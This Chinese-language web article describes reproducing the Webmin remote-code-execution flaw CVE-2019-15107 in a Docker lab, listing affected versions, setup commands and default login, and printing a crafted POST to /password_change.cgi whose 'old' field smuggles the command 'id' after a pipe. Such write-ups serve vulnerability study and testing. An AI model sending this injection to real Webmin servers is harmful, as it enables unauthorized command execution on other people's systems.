导航：首页 > 互联网科技 >

Webmin RCE漏洞CVE-2019-15107是怎么复现的

发表于：2025-02-04 作者：千家信息网编辑

千家信息网最后更新 2025年02月04日，这篇文章将为大家详细讲解有关Webmin RCE漏洞CVE-2019-15107是怎么复现的，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。0x00 前

千家信息网最后更新 2025年02月04日Webmin RCE漏洞CVE-2019-15107是怎么复现的

这篇文章将为大家详细讲解有关Webmin RCE漏洞CVE-2019-15107是怎么复现的，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。

0x00 前言

本来前一阵就想复现来着，但是官网的版本已经更新了，直到今天才发现Docker上有环境，才进行了复现

0x01影响版本

Webmin<=1.920

0x02 环境搭建

docker search webmindocker pull piersonjarvis/webmin-sambadocker run -d -p 10000:80 piersonjarvis/webmin-samba

访问你的ip:10000即可访问1.920版本的webmin

使用账号密码：root/webmin登录到后台

开启密码重置功能：

Webmin--Webmin confuration--Authentication

0x03 漏洞利用

经过长时间的寻找，未找到修改密码的接口，所以随便抓个包手动构造了一个，数据包如下：

POST /password_change.cgi HTTP/1.1Host: 136.244.xx.xx:10000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://136.244.xx.xx:10000/passwd/index.cgi?xnavigation=1X-PJAX: trueX-PJAX-Container: [data-dcontainer]X-PJAX-URL: passwd/edit_passwd.cgi?user=rootX-Requested-From: passwdX-Requested-From-Tab: webminX-Requested-With: XMLHttpRequestContent-Type: text/plain;charset=UTF-8Content-Length: 49DNT: 1Connection: close
user=laemon&old=123123|id&new1=123456&new2=123456